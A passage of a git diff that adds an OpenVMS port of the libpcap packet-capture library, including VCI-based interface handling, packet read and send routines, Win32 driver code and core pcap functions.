snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNOOPING: %s", + pcap_strerror(errno)); + goto bad; + } + + p->bufsize = 4096; /* XXX */ + p->buffer = (u_char *)malloc(p->bufsize); + if (p->buffer == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", + pcap_strerror(errno)); + goto bad; + } + + return (p); + bad: + (void)close(fd); + free(p); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + + if (install_bpf_program(p, fp) < 0) + return (-1); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-stdinc.h b/Pcap-VMS/pcap-vci/pcap-stdinc.h new file mode 100644 index 00000000..8fcf3128 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-stdinc.h @@ -0,0 +1,44 @@ +/* + * Copyright (c) 2002 + * Politecnico di Torino. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the Politecnico + * di Torino, and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: /tcpdump/master/libpcap/pcap-stdinc.h,v 1.5 2002/08/05 07:45:09 guy Exp $ (LBL) + */ + +#define SIZEOF_CHAR 1 +#define SIZEOF_SHORT 2 +#define SIZEOF_INT 4 + +#define _WINSOCKAPI_ +#include + +#include +#include "bittypes.h" +#include +#include + +#ifndef __MINGW32__ +#include "IP6_misc.h" +#endif + +#define caddr_t char* + +#define snprintf _snprintf +#define vsnprintf _vsnprintf +#define inline __inline diff --git a/Pcap-VMS/pcap-vci/pcap-vms.c b/Pcap-VMS/pcap-vci/pcap-vms.c new file mode 100644 index 00000000..2d56ebf6 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-vms.c @@ -0,0 +1,502 @@ +/* + * Copyright (c) 2002 Compaq Computer Corporation + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * X-4 Mark Pizzolato mark@infocomm.com 30-Oct-2003 + * Changed the interface names returned by pcap_platform_finddevs + * to be upper case to conform to the form provided by UCX. This + * avoids duplicate interface names from being found. + * Fixed error paths in pcap_open_live to release aquired resources. + * + * X-3 Mark Pizzolato mark@infocomm.com 20-Oct-2003 + * filled in pcap_platform_finddevs. This has the consequence of + * letting pcap functionality work if there is no IP stack installed + * or if the ip stack installed is not UCX. Additionally pcap + * functionality can be achieved on an interface which isn't + * associated with an IP stack. + * Fixed pcap_read to allow the complete frame contents to be read + * instead of merely the first 1500 bytes. + * Fixed pcap_read result data length to not include the CRC in the + * returned frame size. + * + * X-2 Ankan Anders Ahgren 30-Mar-2003 + * Almost a complete rewrite. We're now interfacing with an + * execlet, which gives us access to the VCI interface. + * + * X1.0 Ankan Anders Ahgren 29-Nov-2002 + * Initial version. + */ +// VMS Includes +#include +#include /* Character type classification macros/routines */ +#include /* For VMS descriptor manipulation */ +#include /* I/O function code definitions */ +#include /* System service return status code definitions */ +#include /* System library routine prototypes */ +#include /* ANSI C Standard Input/Output */ +#include /* General utilities */ +#include /* String handling */ +#include /* VMS status code definitions */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* NMA stuff */ + +#define LANSIZE 256 + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include "pcapvci.h" +#include "pcap-vms.h" + +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#include "pcap-int.h" + +#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL) +#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL) +#define init_desc(name, len, addr) \ + { \ + name.dsc$b_dtype = DSC$K_DTYPE_T; \ + name.dsc$b_class = DSC$K_CLASS_S; \ + name.dsc$a_pointer = addr; \ + name.dsc$w_length = len; \ + } + + +typedef struct _iosb +{ + short cond_val; /* Completion Status */ + short size; /* Transfer Size */ + short addl; /* Additional status */ + short misc; /* Miscellaneous */ +} IOSB; + +typedef struct _interface { + char interface[4]; + char device[6]; +} INTERFACE; + + + +/* +** Timeout AST routine +*/ +void timer_ast(pcap_t *p) +{ + p->timedout = 1; +} + + + +/* +** Interface to device conversion routine. Converts a TCP/IP interface +** to a ASCIC VMS device for use by VCI. +** +** Example: +** +** WE0 becomes EWA +** SE1 becomes ESB +** XE0 becomes EXA +** +** For now we do not worry about pseudo interfaces, e.g WEA0 +*/ +int convert_interface_device(char *inter_name, INTERFACE *inter ) { + char num_conv[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + int status; + char tmpdev[5]; + int tmpval; + + tmpdev[0] = 3; + tmpdev[1] = toupper(inter_name[1]); + tmpdev[2] = toupper(inter_name[0]); + tmpval = (int) (char) inter_name[2] - (char) '0'; + if (tmpval < 0 || tmpval > sizeof(num_conv)) { + return -1; + } + tmpdev[3] = num_conv[tmpval]; + tmpdev[4] = '\0'; + strcpy(inter->interface, inter_name); + memcpy(inter->device, tmpdev, 5); + return 0; +} + +/* +** Device name to interface name Interface conversion routine. Converts a +** VMS device name string of the form _ddc0: to a TCP/IP interface name +** for later use by VCI. +** +** Example: +** +** _EWA0: becomes WE0 +** _ESB0: becomes SE1 +** _EXA0: becomes XE0 +** +** For now we do not worry about pseudo interfaces, e.g WEA0 +*/ +int convert_device_interface(char *device, char *inter_name ) { + char num_conv[] = "ABCDEFGHIJ"; + int tmpval; + + if ((device[0] != '_') || + (device[4] != '0') || + (device[5] != ':')) + return -1; + tmpval = toupper(device[3]) - 'A'; + if (tmpval < 0 || tmpval > sizeof(num_conv)) + return -1; + inter_name[0] = toupper(device[2]); + inter_name[1] = toupper(device[1]); + inter_name[2] = '0' + tmpval; + inter_name[3] = '\0'; + return 0; +} + + + +// +// This is kept in the execlet, so go get it. +// +int pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + int status; + PCAPSTAT vci_stat; + + status = pcapvci_get_statistics(p->vcmctx, &vci_stat); + + if $FAIL(status) { + return (-1); + } + + ps->ps_recv = vci_stat.recv_packets; + ps->ps_drop = vci_stat.recv_packets_dropped; + + return 0; +} + + + +/* +** Read a packet +*/ +int pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + int status; + struct pcap_pkthdr pcap_header; + promisc_header promhdr; + int timeout[2]; + int msec_mul = -10000; + int once = 1; + int packlen; + + // + // If we're to timeout, set up timeout. + // + if (p->check_timeout && p->timeout > 0) { + p->timedout = 0; + status = lib$emul(&p->timeout, &msec_mul, &0, timeout); + if $FAIL(status) { + return -1; + } + status = sys$setimr(0, timeout, &timer_ast, p, 0); + if $FAIL(status) { + return -1; + } + } + + while (once || (p->check_timeout && !p->timedout)) { + if (p->timeout != -1) { + once = 0; + } + // Read the packet + packlen = pcapvci_read_packet(p->vcmctx, sizeof(p->lan_pkt), (char *)&p->lan_pkt); + + if (packlen < 0) { + p->check_timeout = 0; + return -1; + } + + if (packlen == 0) { + p->check_timeout = 0; + return 0; + } + // Remove the CRC from consideration in the captured packet + packlen -= 4; + if (p->fcode.bf_insns == NULL || + bpf_filter(p->fcode.bf_insns, (unsigned char *)&p->lan_pkt, + packlen, packlen)) { + + ++p->md.stat.ps_recv; + pcap_header.len = packlen; + pcap_header.caplen = packlen; + gettimeofday(&pcap_header.ts, NULL); + (*callback)(user, &pcap_header, (unsigned char *)&p->lan_pkt); + p->check_timeout = 0; + return 1; + } + } + + p->check_timeout = 0; + return 0; +} + + + +/* +** Send a packet. +** One problem, the send it asynchronous, so we can't check for status. +*/ +int pcap_sendpacket(pcap_t *p, u_char *buf, int size) +{ + int status; + + status = pcapvci_send_packet(p->vcmctx, 14, size, (char *)buf); + + return 0; +} + + + +/* +** Open a connection. This is a bit tricky. We could use the LAN driver to listen +** to packets. However, we'd also like to be able to modify packets and send +** them off to the wire. In many cases when sending a packet we want to modify +** the sources address. While it is possible to modify the physical address +** using the LAN driver it affects the controller, not the device we created +** from the LAN driver template device. For this reason we have to use a +** VMS execlet that uses the undocumented VCI interface. The code for that +** part is a separate image, which we interface to via a buffer in the +** non paged pool, real cool. +*/ +pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + int status; + pcap_t *pcap_handle; + char *ctlptr; + char proto[5] = {8,0,0x2b,0x80,0x00}; + char pty[2] = {0x08,0x00}; + unsigned long ctldesc[2]; + INTERFACE interface; + + // Load the PCAP VCM execlet, if not already loaded + status = pcapvci_load_execlet(); + if $FAIL(status) { + return NULL; + } + + // Convert interface to device + status = convert_interface_device(device, &interface); + if (status < 0) { + return NULL; + } + + pcap_handle = malloc(sizeof(pcap_t)); + if (!pcap_handle) { + return NULL; + } + memset(pcap_handle, 0, sizeof(pcap_t)); + + // Allocate a VCI port + status = pcapvci_alloc_port(&pcap_handle->vcmctx); + if $FAIL(status) { + free(pcap_handle); + return NULL; + } + + // Create a VCI port + status = pcapvci_create_port(pcap_handle->vcmctx, interface.device); + if $FAIL(status) { + pcapvci_free_port(pcap_handle->vcmctx); + free(pcap_handle); + return NULL; + } + + pcap_handle->lan_ctl = malloc(LANSIZE); + if (!pcap_handle->lan_ctl) { + free(pcap_handle); + return NULL; + } + + pcap_handle->bufsize = 64*1024; + pcap_handle->buffer = malloc(pcap_handle->bufsize); + + // + // Save timeout value + // + pcap_handle->timeout = to_ms; + pcap_handle->check_timeout = 0; + + // + // Link type ethernet + // + pcap_handle->linktype = DLT_EN10MB; + + // + // Save snapshot length + // + pcap_handle->snapshot = snaplen; + + // + // Use standard ethernet package type + // + ctlptr = pcap_handle->lan_ctl; +// ADD_INT_VAL(ctlptr, NMA$C_PCLI_FMT, NMA$C_LINFM_802E); + ADD_INT_VAL(ctlptr, NMA$C_PCLI_FMT, NMA$C_LINFM_ETH); +// ADD_INT_VAL(ctlptr, NMA$C_PCLI_SAP, 0xfffe); + ADD_INT_VAL(ctlptr, NMA$C_PCLI_PAD, NMA$C_STATE_OFF); +// ADD_INT_VAL(ctlptr, NMA$C_PCLI_CRC, NMA$C_STATE_OFF); + ADD_INT_VAL(ctlptr, NMA$C_PCLI_MLT, NMA$C_STATE_ON); +// ADD_INT_VAL(ctlptr, NMA$C_PCLI_ACC, NMA$C_ACC_SHR); + + + // + // Have device buffer 255 packets + // + ADD_INT_VAL(ctlptr, NMA$C_PCLI_BFN, 255); + ADD_INT_VAL(ctlptr, NMA$C_PCLI_BUS, 2048); +// ADD_INT_VAL(ctlptr, NMA$C_PCLI_DCH, NMA$C_STATE_ON); + + // + // If promiscious mode, enable it + // + if (promisc) { + ADD_INT_VAL(ctlptr, NMA$C_PCLI_PRM, NMA$C_STATE_ON); + } + + // + // All ethernet packets + // + ADD_INT_VAL(ctlptr, NMA$C_PCLI_PTY, *(int *)pty); +// ADD_CNT_VAL(ctlptr, NMA$C_PCLI_PID, sizeof(proto), proto); + + // + // Calculate length + // + ctldesc[0] = ctlptr - pcap_handle->lan_ctl; + ctldesc[1] = (unsigned long)pcap_handle->lan_ctl; + + // + // Enable the VCI port + // + status = pcapvci_enable_port(pcap_handle->vcmctx, ctldesc[0], (char *)ctldesc[1]); + if $FAIL(status) { + pcapvci_delete_port(pcap_handle->vcmctx); + pcapvci_free_port(pcap_handle->vcmctx); + free(pcap_handle->lan_ctl); + free(pcap_handle); + return NULL; + } + + return pcap_handle; +} + + + +void pcap_close_vms(pcap_t *p) +{ + int status; + + // + // Disable the port + // + status = pcapvci_disable_port(p->vcmctx); + + // + // Delete the port + // + status = pcapvci_delete_port(p->vcmctx); + + // + // Get rid of VCM context + // + status = pcapvci_free_port(p->vcmctx); + + // + // Free up memory + // + if (p->lan_ctl) { + free(p->lan_ctl); + } +} + + + +int pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + int ctx[2] = {0,0}; + char devnam[65]; + char interfacename[8]; + char description[100]; + long devclass = DC$_SCOM; + long devunit, devclassval; + int unititem = DVI$_UNIT; + int classitem = DVI$_DEVCLASS; + $DESCRIPTOR(retdev,devnam); + $DESCRIPTOR(searchdev, "*0:"); + int status; + + while (1) + { + retdev.dsc$w_length = sizeof(devnam)-1; + status = sys$device_scan( &retdev, &retdev.dsc$w_length, &searchdev, NULL, ctx); + if $FAIL(status) + break; + status = lib$getdvi(&unititem, 0, &retdev, &devunit, NULL, NULL); + if $FAIL(status) + break; + if (0 != devunit) + continue; + status = lib$getdvi(&classitem, 0, &retdev, &devclassval, NULL, NULL); + if $FAIL(status) + break; + if (DC$_SCOM != devclassval) + continue; + devnam[retdev.dsc$w_length] = '\0'; + if (0 != convert_device_interface(devnam, interfacename)) + continue; + /* + * Add information for this address to the list. + */ + sprintf(description, "VMS Device: %s", devnam); + if (pcap_add_if(alldevsp, interfacename, 0, description, errbuf) < 0) + continue; + } + return (0); +} + + + +int pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + if (install_bpf_program(p, fp) < 0) + return (-1); + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-vms.h b/Pcap-VMS/pcap-vci/pcap-vms.h new file mode 100644 index 00000000..b46d3567 --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-vms.h @@ -0,0 +1,77 @@ +/* + * Copyright (c) 2002 Compaq Computer Corporation + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the Politecnico + * di Torino, and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * X-2 Ankan Anders Ahgren 30-Mar-2003 + * Add VCI support. This is done by calling the PCAP VCM + * execlet, rather than the LAN driver. This should speed + * up performance. + * + * X-1 Ankan Anders Ahgren 29-Nov-2002 + * Initial version. + * + */ + +#ifndef __PCAP_VMS__H +#define __PCAP_VMS__H + +#define SIZEOF_CHAR 1 +#define SIZEOF_SHORT 2 +#define SIZEOF_INT 4 + +#include +#include +#include +#include +#include +#include "snprintf.h" +#include "pcapvcm.h" + +//#include "bittypes.h" +#include +//#include + +// +// Do not align +// +#pragma nomember_alignment +typedef unsigned long u_int32; +typedef struct _promisc_header { + unsigned char da[6]; + unsigned char sa[6]; + char proto[2]; + char misc[6]; +} promisc_header; + +typedef struct _packet_header { + unsigned char da[6]; + unsigned char sa[6]; + char proto[2]; +} packet_header; + +typedef struct _send_header { + unsigned char da[6]; + char proto[2]; +} send_header; + +typedef struct _packet { + packet_header hdr; + unsigned char data[2048]; +} packet; + +#endif /* __PCAP_VMS__H */ diff --git a/Pcap-VMS/pcap-vci/pcap-win32.c b/Pcap-VMS/pcap-vci/pcap-win32.c new file mode 100644 index 00000000..a752c8db --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-win32.c @@ -0,0 +1,322 @@ +/* + * Copyright (c) 1999, 2000 + * Politecnico di Torino. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the Politecnico + * di Torino, and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.2 2002/08/05 07:45:09 guy Exp $ (LBL)"; +#endif + +#include +#include +#include +#ifdef __MINGW32__ +int* _errno(); +#define errno (*_errno()) +#endif /* __MINGW32__ */ + +#define PcapBufSize 256000 /*dimension of the buffer in the pcap_t structure*/ +#define SIZE_BUF 1000000 + +/*start winsock*/ +int +wsockinit() +{ + WORD wVersionRequested; + WSADATA wsaData; + int err; + wVersionRequested = MAKEWORD( 1, 1); + err = WSAStartup( wVersionRequested, &wsaData ); + if ( err != 0 ) + { + return -1; + } + return 0; +} + + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + + if(PacketGetStats(p->adapter, (struct bpf_stat*)ps) != TRUE){ + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "PacketGetStats error: %s", pcap_win32strerror()); + return -1; + } + + return 0; +} + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + int cc; + int n = 0; + register u_char *bp, *ep; + + cc = p->cc; + if (p->cc == 0) { + + /* capture the packets */ + if(PacketReceivePacket(p->adapter,p->Packet,TRUE)==FALSE){ + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "read error: PacketReceivePacket failed"); + return (-1); + } + + cc = p->Packet->ulBytesReceived; + + bp = p->Packet->Buffer; + } + else + bp = p->bp; + + /* + * Loop through each packet. + */ +#define bhp ((struct bpf_hdr *)bp) + ep = bp + cc; + while (bp < ep) { + register int caplen, hdrlen; + caplen = bhp->bh_caplen; + hdrlen = bhp->bh_hdrlen; + + /* + * XXX A bpf_hdr matches a pcap_pkthdr. + */ + (*callback)(user, (struct pcap_pkthdr*)bp, bp + hdrlen); + bp += BPF_WORDALIGN(caplen + hdrlen); + if (++n >= cnt && cnt > 0) { + p->bp = bp; + p->cc = ep - bp; + return (n); + } + } +#undef bhp + p->cc = 0; + return (n); +} + + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + register pcap_t *p; + NetType type; + + /* Init WinSock */ + wsockinit(); + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", pcap_strerror(errno)); + return (NULL); + } + memset(p, 0, sizeof(*p)); + p->adapter=NULL; + + p->adapter=PacketOpenAdapter(device); + if (p->adapter==NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "Error opening adapter: %s", pcap_win32strerror()); + return NULL; + } + + /*get network type*/ + if(PacketGetNetType (p->adapter,&type)==FALSE) + { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "Cannot determine the network type: %s", pcap_win32strerror()); + goto bad; + } + + /*Set the linktype*/ + switch (type.LinkType) { + + case NdisMediumWan: + p->linktype = DLT_EN10MB; + break; + + case NdisMedium802_3: + p->linktype = DLT_EN10MB; + break; + + case NdisMediumFddi: + p->linktype = DLT_FDDI; + break; + + case NdisMedium802_5: + p->linktype = DLT_IEEE802; + break; + + case NdisMediumArcnet878_2: + p->linktype = DLT_ARCNET; + break; + + case NdisMediumAtm: + p->linktype = DLT_ATM_RFC1483; + break; + + default: + p->linktype = DLT_EN10MB; /*an unknown adapter is assumed to be ethernet*/ + } + + /* Set promisquous mode */ + if (promisc) PacketSetHwFilter(p->adapter,NDIS_PACKET_TYPE_PROMISCUOUS); + else PacketSetHwFilter(p->adapter,NDIS_PACKET_TYPE_ALL_LOCAL); + + /* Set the buffer size */ + p->bufsize = PcapBufSize; + + p->buffer = (u_char *)malloc(PcapBufSize); + if (p->buffer == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", pcap_strerror(errno)); + goto bad; + } + + p->snapshot = snaplen; + + /* allocate Packet structure used during the capture */ + if((p->Packet = PacketAllocatePacket())==NULL){ + snprintf(ebuf, PCAP_ERRBUF_SIZE, "failed to allocate the PACKET structure"); + goto bad; + } + + PacketInitPacket(p->Packet,(BYTE*)p->buffer,p->bufsize); + + /* allocate the standard buffer in the driver */ + if(PacketSetBuff( p->adapter, SIZE_BUF)==FALSE) + { + snprintf(ebuf, PCAP_ERRBUF_SIZE,"driver error: not enough memory to allocate the kernel buffer\n"); + goto bad; + } + + /* tell the driver to copy the buffer only if it contains at least 16K */ + if(PacketSetMinToCopy(p->adapter,16000)==FALSE) + { + snprintf(ebuf, PCAP_ERRBUF_SIZE,"Error calling PacketSetMinToCopy: %s\n", pcap_win32strerror()); + goto bad; + } + + PacketSetReadTimeout(p->adapter, to_ms); + + return (p); +bad: + if (p->adapter) + PacketCloseAdapter(p->adapter); + if (p->buffer != NULL) + free(p->buffer); + free(p); + return (NULL); +} + + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + if(p->adapter==NULL){ + /* Offline capture: make our own copy of the filter */ + if (install_bpf_program(p, fp) < 0) + return (-1); + } + else if(PacketSetBpf(p->adapter,fp)==FALSE){ + /* kernel filter not installed. */ + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Driver error: cannot set bpf filter: %s", pcap_win32strerror()); + return (-1); + } + return (0); +} + + +/* Set the driver working mode */ +int +pcap_setmode(pcap_t *p, int mode){ + + if (p->adapter==NULL) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "impossible to set mode while reading from a file"); + return -1; + } + + if(PacketSetMode(p->adapter,mode)==FALSE) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: working mode not recognized"); + return -1; + } + + return 0; +} + +/* Send a packet to the network */ +int +pcap_sendpacket(pcap_t *p, u_char *buf, int size){ + LPPACKET PacketToSend; + + if (p->adapter==NULL) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Writing a packet is allowed only on a physical adapter"); + return -1; + } + + PacketToSend=PacketAllocatePacket(); + PacketInitPacket(PacketToSend,buf,size); + if(PacketSendPacket(p->adapter,PacketToSend,TRUE) == FALSE){ + PacketFreePacket(PacketToSend); + return -1; + } + + PacketFreePacket(PacketToSend); + return 0; +} + +/* Set the dimension of the kernel-level capture buffer */ +int +pcap_setbuff(pcap_t *p, int dim) +{ + if (p->adapter==NULL) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "The kernel buffer size cannot be set while reading from a file"); + return -1; + } + + if(PacketSetBuff(p->adapter,dim)==FALSE) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: not enough memory to allocate the kernel buffer"); + return -1; + } + return 0; +} + +/*set the minimum amount of data that will release a read call*/ +int +pcap_setmintocopy(pcap_t *p, int size) +{ + if (p->adapter==NULL) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "Impossible to set the mintocopy parameter on an offline capture"); + return -1; + } + + if(PacketSetMinToCopy(p->adapter, size)==FALSE) + { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "driver error: unable to set the requested mintocopy size"); + return -1; + } + return 0; +} + + diff --git a/Pcap-VMS/pcap-vci/pcap.c b/Pcap-VMS/pcap-vci/pcap.c new file mode 100644 index 00000000..1cd11e3f --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap.c @@ -0,0 +1,387 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997, 1998 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the Computer Systems + * Engineering Group at Lawrence Berkeley Laboratory. + * 4. Neither the name of the University nor of the Laboratory may be used + * to endorse or promote products derived from this software without + * specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.41 2002/08/02 03:44:21 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef VMS +#include "pcap-vms.h" +#include "bpf.h" +#endif + +#ifdef WIN32 +#include +#else /* WIN32 */ +#include +#endif /* WIN32 */ + +#include +#include +#include +#ifndef WIN32 +#include +#endif +#include +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#include "pcap-int.h" + +int +pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + + if (p->sf.rfile != NULL) + return (pcap_offline_read(p, cnt, callback, user)); +#ifdef VMS + p->check_timeout = 1; +#endif + return (pcap_read(p, cnt, callback, user)); +} + +int +pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + register int n; + + for (;;) { + if (p->sf.rfile != NULL) + n = pcap_offline_read(p, cnt, callback, user); + else { + /* + * XXX keep reading until we get something + * (or an error occurs) + */ + do { + n = pcap_read(p, cnt, callback, user); + } while (n == 0); + } + if (n <= 0) + return (n); + if (cnt > 0) { + cnt -= n; + if (cnt <= 0) + return (0); + } + } +} + +struct singleton { + struct pcap_pkthdr *hdr; + const u_char *pkt; +}; + + +static void +pcap_oneshot(u_char *userData, const struct pcap_pkthdr *h, const u_char *pkt) +{ + struct singleton *sp = (struct singleton *)userData; + *sp->hdr = *h; + sp->pkt = pkt; +} + +const u_char * +pcap_next(pcap_t *p, struct pcap_pkthdr *h) +{ + struct singleton s; + + s.hdr = h; + if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0) + return (0); + return (s.pkt); +} + +int +pcap_datalink(pcap_t *p) +{ + return (p->linktype); +} + +int +pcap_snapshot(pcap_t *p) +{ + return (p->snapshot); +} + +int +pcap_is_swapped(pcap_t *p) +{ + return (p->sf.swapped); +} + +int +pcap_major_version(pcap_t *p) +{ + return (p->sf.version_major); +} + +int +pcap_minor_version(pcap_t *p) +{ + return (p->sf.version_minor); +} + +FILE * +pcap_file(pcap_t *p) +{ + return (p->sf.rfile); +} + +int +pcap_fileno(pcap_t *p) +{ +#ifndef WIN32 + return (p->fd); +#else + if (p->adapter != NULL) + return ((int)(DWORD)p->adapter->hFile); + else + return (-1); +#endif +} + +void +pcap_perror(pcap_t *p, char *prefix) +{ + fprintf(stderr, "%s: %s\n", prefix, p->errbuf); +} + +char * +pcap_geterr(pcap_t *p) +{ + return (p->errbuf); +} + +/* + * NOTE: in the future, these may need to call platform-dependent routines, + * e.g. on platforms with memory-mapped packet-capture mechanisms where + * "pcap_read()" uses "select()" or "poll()" to wait for packets to arrive. + */ +int +pcap_getnonblock(pcap_t *p, char *errbuf) +{ +#ifndef WIN32 + int fdflags; +#endif + + if (p->sf.rfile != NULL) { + /* + * This is a savefile, not a live capture file, so + * never say it's in non-blocking mode. + */ + return (0); + } +#ifndef WIN32 + fdflags = fcntl(p->fd, F_GETFL, 0); + if (fdflags == -1) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "F_GETFL: %s", + pcap_strerror(errno)); + return (-1); + } + if (fdflags & O_NONBLOCK) + return (1); + else + return (0); +#else + return (p->nonblock); +#endif +} + +int +pcap_setnonblock(pcap_t *p, int nonblock, char *errbuf) +{ +#ifndef WIN32 + int fdflags; +#else + int newtimeout; +#endif + + if (p->sf.rfile != NULL) { + /* + * This is a savefile, not a live capture file, so + * ignore requests to put it in non-blocking mode. + */ + 